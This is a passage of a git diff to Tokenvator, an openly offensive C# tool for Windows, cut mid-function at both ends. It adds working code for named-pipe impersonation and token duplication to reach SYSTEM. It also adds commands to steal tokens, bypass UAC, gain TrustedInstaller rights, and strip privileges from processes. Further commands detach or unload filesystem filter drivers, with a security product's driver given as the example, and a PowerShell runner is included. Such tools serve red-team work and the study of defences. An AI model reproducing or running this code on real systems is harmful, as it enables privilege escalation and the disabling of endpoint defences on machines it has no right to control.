Tokens.GetWin32Error("CreateNamedPipeA"); + return false; + } + Console.WriteLine("[+] Created Pipe {0}", pipeName); + waitHandle.Set(); + + if (!kernel32.ConnectNamedPipe(hNamedPipe, IntPtr.Zero)) + { + Tokens.GetWin32Error("ConnectNamedPipe"); + return false; + } + Console.WriteLine("[+] Connected to Pipe {0}", pipeName); + + + Byte[] lpBuffer = new Byte[128]; + UInt32 lpNumberOfBytesRead = 0; + if (!kernel32.ReadFile(hNamedPipe, lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) + { + Tokens.GetWin32Error("ReadFile"); + return false; + } + + Console.WriteLine("[+] Read Pipe {0}", pipeName); + + if (!advapi32.ImpersonateNamedPipeClient(hNamedPipe)) + { + Tokens.GetWin32Error("ImpersonateNamedPipeClient"); + return false; + } + Console.WriteLine("[+] Impersonated Pipe {0}", pipeName); + + Winbase._SECURITY_ATTRIBUTES sa = new Winbase._SECURITY_ATTRIBUTES(); + sa.bInheritHandle = false; + sa.nLength = (UInt32)Marshal.SizeOf(sa); + sa.lpSecurityDescriptor = (IntPtr)0; + + + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), Constants.TOKEN_ALL_ACCESS, false, out hToken)) + { + Tokens.GetWin32Error("OpenThreadToken"); + return false; + } + Console.WriteLine("[+] Thread Token 0x{0}", hToken.ToString("X4")); + + IntPtr phNewToken = new IntPtr(); + UInt32 result = ntdll.NtDuplicateToken(hToken, Constants.TOKEN_ALL_ACCESS, IntPtr.Zero, true, Winnt._TOKEN_TYPE.TokenPrimary, ref phNewToken); + if (IntPtr.Zero == phNewToken) + { + result = ntdll.NtDuplicateToken(hToken, Constants.TOKEN_ALL_ACCESS, IntPtr.Zero, true, Winnt._TOKEN_TYPE.TokenImpersonation, ref phNewToken); + if (IntPtr.Zero == phNewToken) + { + Tokens.GetNtError("NtDuplicateToken", result); + return false; + } + } + + if (IntPtr.Zero != phNewToken) + { + hToken = phNewToken; + } + + } + catch (Exception ex) + { + Console.WriteLine("[-] {0}", ex.Message); + return false; + } + finally + { + if (IntPtr.Zero != hNamedPipe) + { + kernel32.DisconnectNamedPipe(hNamedPipe); + kernel32.CloseHandle(hNamedPipe); + } + } + + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + internal static void EnumeratePipes() + { + String[] pipes = Directory.GetFiles(baseDirectory); + foreach (String pipe in pipes) + { + Console.WriteLine(pipe); + } + } + } +} diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index fadf873..4971cab 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -1,10 +1,14 @@ using System; using System.Collections.Generic; +using System.Collections.ObjectModel; using System.Diagnostics; using System.Linq; -using System.Management; -using System.Management.Instrumentation; -using System.Text; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.Security.Principal; + +using Unmanaged.Headers; +using Unmanaged.Libraries; @@ -59,24 +63,50 @@ static void Main(string[] args) class MainLoop { private static String context = "(Tokens) > "; - public static String[,] options = new String[,] { - {"GetSystem", "Command", "-"}, {"GetTrustedInstaller", "Command", "-"}, - {"Steal_Token", "Command", "ProcessID"}, - {"BypassUAC", "ProcessID", "Command"}, - {"List_Privileges", "ProcessID", "-"}, {"Set_Privilege", "ProcessID", "Privilege"}, - {"List_Processes", "-", "-"}, {"List_Processes_WMI", "-", "-"}, - {"Find_User_Processes", "-", "User"}, {"Find_User_Processes_WMI", "-", "User"}, - {"List_User_Sessions", "-", "-"}, - {"WhoAmI", "-", "-"}, {"RevertToSelf", "-", "-"}, - {"Run", "-", "Command"}, - {"", "", ""} - }; + public static String[,] options = new String[,] { + {"Info", "-", "-", "-"}, + {"Help", "Command", "-", "Help List_Filter_Instances"}, + + {"List_Privileges", "ProcessID", "-", "List_Privileges 2180"}, + {"Enable_Privilege", "ProcessID", "Privilege", "Enable_Privilege 2180 SeShutdownPrivilege"}, + {"Disable_Privilege", "ProcessID", "Privilege", "Disable_Privilege 2180 SeShutdownPrivilege"}, + {"Remove_Privilege", "ProcessID", "Privilege", "Remove_Privilege 2180 SeShutdownPrivilege"}, + {"Nuke_Privileges", "ProcessID", "-", "Nuke_Privileges 2180"}, + + {"Terminate", "ProcessID", "-", "Terminate 2180"}, + + {"GetSystem", "Command", "-", "GetSystem | GetSystem cmd.exe /c powershell.exe"}, + {"GetTrustedInstaller", "Command", "-", "GetTrustedInstaller | cmd.exe /c powershell.exe"}, + {"Steal_Token", "Command", "ProcessID", "Steal_Token 2180 | Steal_Token 2180 cmd.exe"}, + {"Steal_Pipe_Token", "Command", "PipeName", @"Steal_Pipe_Token \\.\pipe\tokenvator | Steal_Pipe_Token \\.\pipe\tokenvator cmd.exe"}, + {"BypassUAC", "ProcessID", "Command", "BypassUAC cmd.exe| BypassUAC 892 cmd.exe"}, + + {"Sample_Processes", "-", "-", "Sample_Processes"}, + {"Sample_Processes_WMI", "-", "-", "Sample_Processes"}, + + {"Find_User_Processes", "-", "User", "Find_User_Processes Administrator"}, + {"Find_User_Processes_WMI", "-", "User", "Find_User_Processes_WMI Administrator"}, + + {"List_Filters", "-", "-", "List_Filters"}, + {"List_Filter_Instances", "-", "FilterName", "List_Filter_Instances vsepflt"}, + {"Detach_Filter", "InstanceName", "FilterName, VolumeName", @"Detach_Filter vsepflt \Device\Mup vsepflt Instance"}, + {"Unload_Filter", "-", "FilterName", "Unload_Filter vsepflt"}, + + + {"Sessions", "-", "-", "Sessions"}, + {"WhoAmI", "-", "-", "WhoAmI"}, + {"RevertToSelf", "-", "-", "RevertToSelf"}, + {"Run", "-", "Command", "Run ipconfig"}, + {"RunPowerShell", "-", "Command", "RunPowerShell Get-ChildItem"}, + {"", "", "", ""} + }; private IntPtr currentProcessToken; private Dictionary users; private Dictionary processes; private IntPtr hProcess; + private IntPtr hBackup; private Int32 processID; private String command; @@ -90,6 +120,9 @@ public MainLoop(Boolean activateTabs) { console = new TabComplete(context, options); } + + hProcess = Process.GetCurrentProcess().Handle; + hBackup = hProcess; } internal void Run() @@ -107,39 +140,84 @@ internal void Run() input = Console.ReadLine(); } + IntPtr tempToken = IntPtr.Zero; + kernel32.OpenProcessToken(kernel32.GetCurrentProcess(), Constants.TOKEN_ALL_ACCESS, out IntPtr hToken); switch (NextItem(ref input)) { - case "list_privileges": - if (GetProcessID(input, out processID, out command)) - { - hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); - Console.WriteLine("[*] Recieved Handle {0}", hProcess.ToInt64()); - } - else + case "info": + if (GetProcessID(input, out processID, out command) && OpenToken(processID, ref tempToken)) { - hProcess = Process.GetCurrentProcess().Handle; + hToken = tempToken; } - - kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); - Tokens.EnumerateTokenPrivileges(currentProcessToken); - kernel32.CloseHandle(currentProcessToken); + Console.WriteLine(""); + CheckPrivileges.GetTokenUser(hToken); + Console.WriteLine(""); + CheckPrivileges.GetTokenOwner(hToken); + Console.WriteLine(""); + CheckPrivileges.GetTokenGroups(hToken); + Console.WriteLine(""); + CheckPrivileges.GetElevationType(hToken, out Winnt._TOKEN_TYPE tokenType); + CheckPrivileges.PrintElevation(hToken); break; - case "set_privilege": + case "list_privileges": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.EnumerateTokenPrivileges(hToken); + break; + case "enable_privilege": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_ENABLED); + break; + case "disable_privilege": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_NONE); + break; + case "remove_privilege": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_REMOVED); + break; + case "nuke_privileges": + if (GetProcessID(input, out processID, out command)) + if (OpenToken(processID, ref tempToken)) + hToken = tempToken; + else + break; + Tokens.DisableAndRemoveAllTokenPrivileges(ref hToken); + break; + case "terminate": if (GetProcessID(input, out processID, out command)) { - hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); - Console.WriteLine("[*] Recieved Handle {0}", hProcess.ToInt64()); - } - else - { - hProcess = Process.GetCurrentProcess().Handle; + IntPtr hProcess = kernel32.OpenProcess(Constants.PROCESS_TERMINATE, false, (UInt32)processID); + if (IntPtr.Zero == hProcess) + { + Tokens.GetWin32Error("OpenProcess"); + break; + } + Console.WriteLine("[*] Recieved Process Handle 0x{0}", hProcess.ToString("X4")); + if (!kernel32.TerminateProcess(hProcess, 0)) + { + Tokens.GetWin32Error("TerminateProcess"); + break; + } + Console.WriteLine("[+] Process Terminated"); } - - kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); - Tokens.SetTokenPrivilege(ref currentProcessToken, command); - kernel32.CloseHandle(currentProcessToken); break; - case "list_processes": + case "sample_processes": users = Enumeration.EnumerateTokens(false); Console.WriteLine("{0,-40}{1,-20}{2}", "User", "Process ID", "Process Name"); Console.WriteLine("{0,-40}{1,-20}{2}", "----", "----------", "------------"); @@ -148,7 +226,7 @@ internal void Run() Console.WriteLine("{0,-40}{1,-20}{2}", name, users[name], Process.GetProcessById((Int32)users[name]).ProcessName); } break; - case "list_processes_wmi": + case "sample_processes_wmi": users = Enumeration.EnumerateTokensWMI(); Console.WriteLine("{0,-40}{1,-20}{2}", "User", "Process ID", "Process Name"); Console.WriteLine("{0,-40}{1,-20}{2}", "----", "----------", "------------"); @@ -175,11 +253,31 @@ internal void Run() Console.WriteLine("{0,-30}{1,-30}", pid, processes[pid]); } break; - case "list_user_sessions": + case "list_filters": + using (Filters filters = new Filters()) + { + filters.First(); + filters.Next(); + } + break; + case "list_filter_instances": + using (FilterInstance filterInstance = new FilterInstance(NextItem(ref input))) + { + filterInstance.First(); + filterInstance.Next(); + } + break; + case "detach_filter": + Filters.FilterDetach(input); + break; + case "unload_filter": + Filters.Unload(NextItem(ref input)); + break; + case "sessions": Enumeration.EnumerateInteractiveUserSessions(); break; case "getsystem": - GetSystem(input); + GetSystem(input, hToken); break; case "gettrustedinstaller": GetTrustedInstaller(input); @@ -187,37 +285,49 @@ internal void Run() case "steal_token": StealToken(input); break; + case "steal_pipe_token": + StealPipeToken(input); + break; case "bypassuac": BypassUAC(input); break; case "whoami": - Console.WriteLine("[*] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); + Console.WriteLine("[*] Operating as {0}", WindowsIdentity.GetCurrent().Name); break; case "reverttoself": - if (advapi32.RevertToSelf()) - { - Console.WriteLine("[*] Reverted token to {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); - } - else - { - Console.WriteLine("[-] RevertToSelf failed"); - } + String message = advapi32.RevertToSelf() ? "[*] Reverted token to " + WindowsIdentity.GetCurrent().Name : "[-] RevertToSelf failed"; + Console.WriteLine(message); break; case "run": Run(input); break; + case "runpowershell": + RunPowerShell(input); + break; case "exit": - System.Environment.Exit(0); + Environment.Exit(0); + break; + case "help": + String item = NextItem(ref input); + if ("help" != item) + Help(item); + else + Help(); break; default: Help(); break; } + if (IntPtr.Zero != hToken) + { + kernel32.CloseHandle(hToken); + } Console.WriteLine(); } catch (Exception error) { Console.WriteLine(error.ToString()); + Tokens.GetWin32Error("MainLoop"); } finally { @@ -225,6 +335,31 @@ internal void Run() } } + //////////////////////////////////////////////////////////////////////////////// + // Open Process and a process token + //////////////////////////////////////////////////////////////////////////////// + private static Boolean OpenToken(Int32 processID, ref IntPtr hToken) + { + IntPtr hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); + if (IntPtr.Zero == hProcess) + { + Tokens.GetWin32Error("OpenProcess"); + return false; + } + Console.WriteLine("[*] Recieved Process Handle 0x{0}", hProcess.ToString("X4")); + if (!kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out hToken)) + { + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) + { + Tokens.GetWin32Error("OpenProcessToken"); + return false; + } + } + Console.WriteLine("[*] Recieved Token Handle 0x{0}", hToken.ToString("X4")); + kernel32.CloseHandle(hProcess); + return true; + } + //////////////////////////////////////////////////////////////////////////////// // Identifies a process to access //////////////////////////////////////////////////////////////////////////////// @@ -252,7 +387,32 @@ private static Boolean GetProcessID(String input, out Int32 processID, out Strin } return false; } - + + //////////////////////////////////////////////////////////////////////////////// + // Identifies a process to access + //////////////////////////////////////////////////////////////////////////////// + public static Boolean GetPipeName(String input, out String pipeName, out String command) + { + String name = NextItem(ref input); + command = String.Empty; + + if (name != input) + { + command = input; + } + + if (name.Contains(@"\\.\pipe")) + { + pipeName = name; + return true; + } + else + { + pipeName = String.Empty; + return false; + } + } + //////////////////////////////////////////////////////////////////////////////// // Pops an item from the input and returns the item - only used in inital menu // Taken from FowlPlay @@ -276,20 +436,38 @@ public static String NextItem(ref String input) //////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// - public static void GetSystem(String input) + public static void GetSystem(String input, IntPtr hToken) { - if ("getsystem" == NextItem(ref input)) + CheckPrivileges.CheckTokenPrivilege(hToken, "SeDebugPrivilege", out Boolean exists, out Boolean enabled); + String item = NextItem(ref input); + + if (exists) { - using (Tokens t = new Tokens()) + if ("getsystem" == item) { - t.GetSystem(); + + using (Tokens t = new Tokens()) + { + t.GetSystem(); + } + } + else + { + using (Tokens t = new Tokens()) + { + t.GetSystem(item + " " + input); + } } } else { - using (Tokens t = new Tokens()) + if ("getsystem" == item) + { + NamedPipes.GetSystem(); + } + else { - t.GetSystem(input); + NamedPipes.GetSystem(input, item + " " + input); } } } @@ -332,7 +510,7 @@ public static void BypassUAC(String input) } else { - String name = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + String name = WindowsIdentity.GetCurrent().Name; Dictionary uacUsers = Enumeration.EnumerateUserProcesses(true, name); foreach (UInt32 pid in uacUsers.Keys) { @@ -350,10 +528,7 @@ public static void BypassUAC(String input) //////////////////////////////////////////////////////////////////////////////// public static void StealToken(String input) { - Int32 processID; - String command; - - if (GetProcessID(input, out processID, out command)) + if (GetProcessID(input, out Int32 processID, out String command)) { if (String.IsNullOrEmpty(command)) { @@ -372,14 +547,69 @@ public static void StealToken(String input) } } + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public static void StealPipeToken(String input) + { + if (GetPipeName(input, out String pipeName, out String command)) + { + if (pipeName.ToLower() == command.ToLower()) + { + NamedPipes.GetPipeToken(pipeName); + } + else + { + Console.WriteLine("[*] Running {0}", command); + NamedPipes.GetPipeToken(pipeName, command); + } + } + else if ("getsystem" == NextItem(ref input)) + { + NamedPipes.GetSystem(); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal static void RunPowerShell(string command) + { + Runspace runspace = RunspaceFactory.CreateRunspace(); + runspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); + Pipeline pipeline = runspace.CreatePipeline(); + pipeline.Commands.AddScript(command); + pipeline.Commands.Add("Out-String"); + Collection results = pipeline.Invoke(); + runspace.Close(); + + foreach (PSObject obj in results) + { + Console.WriteLine(obj.ToString()); + } + } + + + //////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// public static void Run(String input) { + String command = NextItem(ref input); Process process = new Process(); - process.StartInfo.FileName = NextItem(ref input); - process.StartInfo.Arguments = input; + process.StartInfo.FileName = command; + String args = NextItem(ref input); + if (args == command) + { + args = String.Empty; + } + else + { + args += " " + input; + } + process.StartInfo.Arguments = args; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; @@ -400,6 +630,39 @@ public static void Help() { Console.WriteLine("{0,-25}{1,-20}{2,-20}", options[i, 0], options[i, 1], options[i, 2]); } + Console.WriteLine("e.g. (Tokens)> Help List_Filter_Instances"); + Console.WriteLine("e.g. (Tokens)> Help Privileges"); + Console.WriteLine(""); + Console.WriteLine("e.g. (Tokens)> Steal_Token 27015"); + Console.WriteLine("e.g. (Tokens)> Steal_Token 27015 cmd.exe"); + Console.WriteLine("e.g. (Tokens)> Enable_Privilege SeDebugPrivilege"); + Console.WriteLine("e.g. (Tokens)> Enable_Privilege 27015 SeDebugPrivilege"); + } + + public static void Help(String input) + { + if ("privileges" == input.ToLower()) + { + foreach (String item in Tokens.validPrivileges) + { + Console.WriteLine(item); + } + return; + } + + Console.WriteLine("{0,-25}{1,-20}{2,-20}", "Name", "Optional", "Required"); + Console.WriteLine("{0,-25}{1,-20}{2,-20}", "----", "--------", "--------"); + for (Int32 i = 0; i < options.GetLength(0); i++) + { + if (input.ToLower() == options[i, 0].ToLower()) + { + Console.WriteLine("{0,-25}{1,-20}{2,-20}", options[i, 0], options[i, 1], options[i, 2]); + Console.WriteLine(" "); + Console.WriteLine("e.g. (Tokens)> {0}", options[i, 3]); + return; + } + } + } } } \ No newline at end of file diff --git a/Tokenvator/Resources/CheckPrivileges.cs b/Tokenvator/Resources/CheckPrivileges.cs index 2d08daa..bbeeac1 100644 --- a/Tokenvator/Resources/CheckPrivileges.cs +++ b/Tokenvator/Resources/CheckPrivileges.cs @@ -1,8 +1,10 @@ using System; -using System.Linq; using System.Runtime.InteropServices; using System.Security.Principal; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class CheckPrivileges @@ -51,38 +53,35 @@ public Boolean GetSystem() //////////////////////////////////////////////////////////////////////////////// public static Boolean PrintElevation(IntPtr hToken) { - UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); - IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); - UInt32 returnLength; - - Boolean result = advapi32.GetTokenInformation( - hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenElevationType, - tokenInformation, - tokenInformationLength, - out returnLength - ); - - switch ((Enums.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) - { - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: - Console.WriteLine("TokenElevationTypeDefault"); - Console.WriteLine("Token: Not Split"); - Console.WriteLine("ProcessIntegrity: Medium/Low"); + + Int32 output = -1; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, ref output)) + { + Tokens.GetWin32Error("TokenElevationType"); + return false; + } + + switch ((Winnt.TOKEN_ELEVATION_TYPE)output) + { + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: + Console.WriteLine("[+] TokenElevationTypeDefault"); + Console.WriteLine("[*] Token: Not Split"); + //Console.WriteLine("ProcessIntegrity: Medium/Low"); return false; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: - Console.WriteLine("TokenElevationTypeFull"); - Console.WriteLine("Token: Split"); - Console.WriteLine("ProcessIntegrity: High"); + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: + Console.WriteLine("[+] TokenElevationTypeFull"); + Console.WriteLine("[*] Token: Split"); + Console.WriteLine("[+] ProcessIntegrity: High"); return true; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: - Console.WriteLine("TokenElevationTypeLimited"); - Console.WriteLine("Token: Split - ProcessIntegrity: Medium/Low"); - Console.WriteLine("Hint: Try to Bypass UAC"); + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: + Console.WriteLine("[-] TokenElevationTypeLimited"); + Console.WriteLine("[*] Token: Split"); + Console.WriteLine("[-] ProcessIntegrity: Medium/Low"); + Console.WriteLine("[!] Hint: Try to Bypass UAC"); return false; default: - Console.WriteLine("Unknown integrity"); - Console.WriteLine("Trying anyway"); + Console.WriteLine("[-] Unknown integrity {0}", output); + Console.WriteLine("[!] Trying anyway"); return true; } } @@ -92,29 +91,329 @@ out returnLength //////////////////////////////////////////////////////////////////////////////// public static Boolean CheckElevation(IntPtr hToken) { - UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); - IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); - UInt32 returnLength; - - Boolean result = advapi32.GetTokenInformation( - hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenElevationType, - tokenInformation, - tokenInformationLength, - out returnLength - ); + Int32 output = -1; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, ref output)) + { + Tokens.GetWin32Error("TokenElevationType"); + return false; + } - switch ((Enums.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) + switch ((Winnt.TOKEN_ELEVATION_TYPE)output) { - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:; + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:; return false; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: return true; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: return false; default: return true; } } + + //////////////////////////////////////////////////////////////////////////////// + //https://blogs.msdn.microsoft.com/cjacks/2006/10/08/how-to-determine-if-a-user-is-a-member-of-the-administrators-group-with-uac-enabled-on-windows-vista/ + //////////////////////////////////////////////////////////////////////////////// + public static Boolean GetElevationType(IntPtr hToken, out Winnt._TOKEN_TYPE tokenType) + { + Int32 output = -1; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenType, ref output)) + { + Tokens.GetWin32Error("TokenType"); + tokenType = 0; + return false; + } + + switch ((Winnt._TOKEN_TYPE)output) + { + case Winnt._TOKEN_TYPE.TokenPrimary: + Console.WriteLine("[+] Primary Token"); + tokenType = Winnt._TOKEN_TYPE.TokenPrimary; + return true; + case Winnt._TOKEN_TYPE.TokenImpersonation: + tokenType = Winnt._TOKEN_TYPE.TokenImpersonation; + if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, ref output)) + { + return false; + } + switch ((Winnt._SECURITY_IMPERSONATION_LEVEL)output) + { + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: + Console.WriteLine("[+] Anonymous Token"); + return true; + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: + Console.WriteLine("[+] Identification Token"); + return true; + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: + Console.WriteLine("[+] Impersonation Token"); + return true; + case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: + Console.WriteLine("[+] Delegation Token"); + return true; + default: + Console.WriteLine("[-] Unknown Impersionation Type"); + return false; + } + default: + Console.WriteLine("[-] Unknown Type {0}", output); + tokenType = 0; + return false; + } + } + + //////////////////////////////////////////////////////////////////////////////// + // Displays the users associated with a token + //////////////////////////////////////////////////////////////////////////////// + public static void GetTokenOwner(IntPtr hToken) + { + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenOwner, IntPtr.Zero, 0, out UInt32 returnLength); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); + Ntifs._TOKEN_OWNER tokenOwner; + try + { + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenOwner, lpTokenInformation, returnLength, out returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + return; + } + tokenOwner = (Ntifs._TOKEN_OWNER)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_OWNER)); + if (IntPtr.Zero == tokenOwner.Owner) + { + Tokens.GetWin32Error("PtrToStructure"); + } + } + catch (Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + Console.WriteLine(ex.Message); + return; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + + Console.WriteLine("[+] Owner: "); + _ReadSidAndName(tokenOwner.Owner, out String sid, out String account); + Console.WriteLine("{0,-50} {1}", sid, account); + return; + } + + //////////////////////////////////////////////////////////////////////////////// + // Displays the users associated with a token + //////////////////////////////////////////////////////////////////////////////// + public static void GetTokenUser(IntPtr hToken) + { + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, 0, out UInt32 returnLength); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); + Ntifs._TOKEN_USER tokenUser; + try + { + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenUser, lpTokenInformation, returnLength, out returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + return; + } + tokenUser = (Ntifs._TOKEN_USER)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_USER)); + if (IntPtr.Zero == tokenUser.User[0].Sid) + { + Tokens.GetWin32Error("PtrToStructure"); + } + } + catch (Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + Console.WriteLine(ex.Message); + return; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + + Console.WriteLine("[+] User: "); + _ReadSidAndName(tokenUser.User[0].Sid, out String sid, out String account); + Console.WriteLine("{0,-50} {1}", sid, account); + return; + } + + //////////////////////////////////////////////////////////////////////////////// + // Lists the groups associated with a token + //////////////////////////////////////////////////////////////////////////////// + public static Boolean GetTokenGroups(IntPtr hToken) + { + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenGroups, IntPtr.Zero, 0, out UInt32 returnLength); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); + Ntifs._TOKEN_GROUPS tokenGroups; + try + { + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenGroups, lpTokenInformation, returnLength, out returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + return false; + } + tokenGroups = (Ntifs._TOKEN_GROUPS)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_GROUPS)); + } + catch (Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation - Pass 2"); + Console.WriteLine(ex.Message); + return false; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + + Console.WriteLine("[+] Enumerated {0} Groups: ", tokenGroups.GroupCount); + for (Int32 i = 0; i < tokenGroups.GroupCount; i++) + { + _ReadSidAndName(tokenGroups.Groups[i].Sid, out String sid, out String account); + Console.WriteLine("{0,-50} {1}", sid, account); + } + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + private static void _ReadSidAndName(IntPtr pointer, out String sid, out String account) + { + sid = String.Empty; + account = String.Empty; + IntPtr lpSid = IntPtr.Zero; + try + { + advapi32.ConvertSidToStringSid(pointer, ref lpSid); + if (IntPtr.Zero == lpSid) + { + return; + } + sid = Marshal.PtrToStringAuto(lpSid); + + if (!Enumeration.ConvertSidToName(pointer, out account)) + { + return; + } + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + } + finally + { + kernel32.LocalFree(lpSid); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // Checks if a Privilege Exists and is Enabled + //////////////////////////////////////////////////////////////////////////////// + public static Boolean CheckTokenPrivilege(IntPtr hToken, String privilegeName, out Boolean exists, out Boolean enabled) + { + exists = false; + enabled = false; + //////////////////////////////////////////////////////////////////////////////// + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); + if (TokenInfLength <= 0 || TokenInfLength > Int32.MaxValue) + { + Tokens.GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); + return false; + } + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength); + + //////////////////////////////////////////////////////////////////////////////// + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) + { + Tokens.GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); + return false; + } + Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); + Marshal.FreeHGlobal(lpTokenInformation); + + //////////////////////////////////////////////////////////////////////////////// + for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) + { + System.Text.StringBuilder lpName = new System.Text.StringBuilder(); + Int32 cchName = 0; + IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(tokenPrivileges.Privileges[i])); + Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); + try + { + advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); + if (cchName <= 0 || cchName > Int32.MaxValue) + { + Tokens.GetWin32Error("LookupPrivilegeName Pass 1"); + continue; + } + + lpName.EnsureCapacity(cchName + 1); + if 